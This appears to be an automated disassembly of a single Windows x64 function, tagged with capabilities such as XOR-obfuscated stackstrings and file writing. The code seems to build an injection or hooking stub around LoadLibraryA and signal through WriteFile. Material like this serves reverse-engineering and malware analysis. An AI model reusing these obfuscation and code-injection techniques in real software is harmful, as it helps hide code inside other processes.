Function at 0x14007fc50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x3398]
mov eax, 0x3498
call fcn.140234360
sub rsp, rax
mov rax, qword [0x1402fd960]
xor rax, rsp
mov qword [rbp + 0x3380], rax
mov r15, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp + 0x2f80]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rdx, [0x1402dd324]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14007fcbf
mov edx, 0x5c
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r8, [rax + 1]
jmp 0x14007fcc2
mov r8, rdi
lea rcx, [rbp + 0x2f80]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14007fcd0
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14007fce0
lea rcx, [rbp + 0x2f80]
call fcn.14007f170
mov rbx, rax
test rax, rax
jne 0x14007ffe7
mov qword [rsp + 0x34d0], rsi
mov qword [rsp + 0x34d8], r12
xor r12d, r12d
mov ecx, r12d
mov dword [rsp + 0x30], 0x777e6d76
mov dword [rsp + 0x34], 0x737a3370
mov word [rsp + 0x38], Ordinal_79
mov byte [rsp + 0x3a], 1
nop word [rax + rax]
lea eax, [rcx + 0x18]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x14007fd40
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x3a], r12b
call fcn.14007f170
mov rsi, rax
test rax, rax
je 0x14007ffd4
mov rcx, r15
mov qword [rsp + 0x3490], r14
call fcn.14008ab20
mov r14, rax
test rax, rax
je 0x14007ffcc
mov rbx, 0xffffffffffffffff
add rsi, 0x1000
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], r12b
jne 0x14007fda0
lea rax, [rsi + 1]
mov rdx, rsi
add rax, rcx
lea rcx, [rbp + 0xf40]
mov qword [rbp + 0x1f68], rax
call fcn.14008abb0
mov rdx, rax
lea rcx, [rsp + 0x40]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1f80]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1402fda03], rax
mov qword [0x1402fd9d8], r15
mov qword [0x1402fd9e2], r14
mov qword [0x1402fd9f9], rsi
cmp byte [rdi + rbx + 1], r12b
lea rbx, [rbx + 1]
jne 0x14007fe13
lea r8d, [rbx + 1]
mov rdx, rdi
mov rcx, rsi
call fcn.14007f010
mov rcx, qword [rbp + 0x1f68]
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov r8d, WSASetLastError
call fcn.14007f010
mov ecx, 4
call fcn.140233cbc
mov rcx, qword [0x1406bd6b0]
mov rbx, rax
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x14007fed4
mov ecx, dword [0x1406bd6a8]
mov dword [rbp + 0x1f44], ecx
mov dword [rbp + 0x1f5c], r12d
mov dword [rbp + 0x1f40], Ordinal_301
mov qword [rbp + 0x1f48], r15
mov dword [rbp + 0x1f54], 4
mov dword [rbp + 0x1f50], 8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1406bd6b0]
lea r9, [rbp + 0x1f70]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
mov dword [rbp + 0x1f58], eax
lea rdx, [rbp + 0x1f40]
mov qword [rbp + 0x1f60], rbx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, 8
lea rdx, [rbp + 0x1f68]
mov rcx, r15
call fcn.14007f010
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x1b58]
nop word [rax + rax]
lea rcx, [rbp + 0x2f80]
call fcn.14007f170
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
ja 0x14007ff29
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14007ff00
mov ecx, 4
call fcn.140233cbc
mov rcx, qword [0x1406bd6b0]
mov rdi, rax
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x14007ffb7
mov ecx, dword [0x1406bd6a8]
mov dword [rbp + 0x1f44], ecx
mov dword [rbp + 0x1f5c], r12d
mov dword [rbp + 0x1f40], Ordinal_301
mov qword [rbp + 0x1f48], r15
mov dword [rbp + 0x1f54], 2
mov dword [rbp + 0x1f50], 8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1406bd6b0]
lea r9, [rbp + 0x1f70]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
mov dword [rbp + 0x1f58], eax
lea rdx, [rbp + 0x1f40]
mov qword [rbp + 0x1f60], rdi
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, 0x1000
lea rdx, [rbp + 0x1f80]
mov rcx, rsi
call fcn.14007f010
mov r14, qword [rsp + 0x3490]
mov r12, qword [rsp + 0x34d8]
mov rax, rbx
mov rsi, qword [rsp + 0x34d0]
mov rcx, qword [rbp + 0x3380]
xor rcx, rsp
call fcn.140233900
add rsp, 0x3498
pop r15
pop rdi
pop rbx
pop rbp
ret